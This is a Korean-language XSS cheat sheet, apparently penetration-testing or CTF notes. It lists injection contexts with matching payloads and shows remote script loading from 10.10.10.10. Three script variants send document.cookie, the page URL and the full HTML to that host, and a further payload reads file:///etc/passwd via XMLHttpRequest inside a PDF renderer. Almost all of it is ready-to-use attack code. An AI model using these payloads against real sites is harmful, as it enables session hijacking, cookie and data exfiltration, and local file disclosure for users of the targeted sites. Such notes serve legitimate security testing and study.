XSS 일반적 흐름

  1. 입력필드 확인 → 중복되지 않는 고유한 문자열(zzCUBANAasd) 넣기
  2. raw HTTP response에서 입력 문자열 주변 컨텍스트 확인 (curl 혹은 burpsuite 활용..)
  3. 컨텍스트 확인 후 XSS 페이로드 테스트
컨텍스트소스 예시페이로드 예시
HTML body (필터링 X)<p>USER_INPUT</p><script>alert(1)</script>
HTML body (script 태그 필터링)<p>USER_INPUT</p><img src=x onerror=alert(1)> /
svg onload=alert(1)
HTML 속성 (Double quote)value="USER_INPUT""><script>alert(1)</script>
HTML 속성 (Single quote)value='USER_INPUT''><script>alert(1)</script>
JS 문자열var x = "USER_INPUT"";alert(1);//
Basic XSS
<img src=x onerror=alert(window.origin)>
<script>alert(1)</script>

Load Remote Script

<script src="http://10.10.10.10/script.js"></script>
"><script src='http://10.10.10.10/script.js'></script>

#1 script.js:

new Image().src='http://10.10.10.10/?c='+document.cookie

#2 script.js

fetch('http://10.10.10.10/?c='+document.cookie)

#3 script.js

fetch('http://10.10.10.10/', {
  method: 'POST',
  body: JSON.stringify({
    url: location.href,
    cookie: document.cookie,
    html: document.documentElement.outerHTML
  })
})

PDF 렌더링 XSS

  • 간단한 테스트
<script>document.write('VULNERABLE')</script>
  • 렌더링 결과에 <script>등의 태그 없이 VULNERABLE만 나온다면 JS가 동작한 것

로컬 파일 읽기

<script>
x=new XMLHttpRequest;
x.onload=function(){  
document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>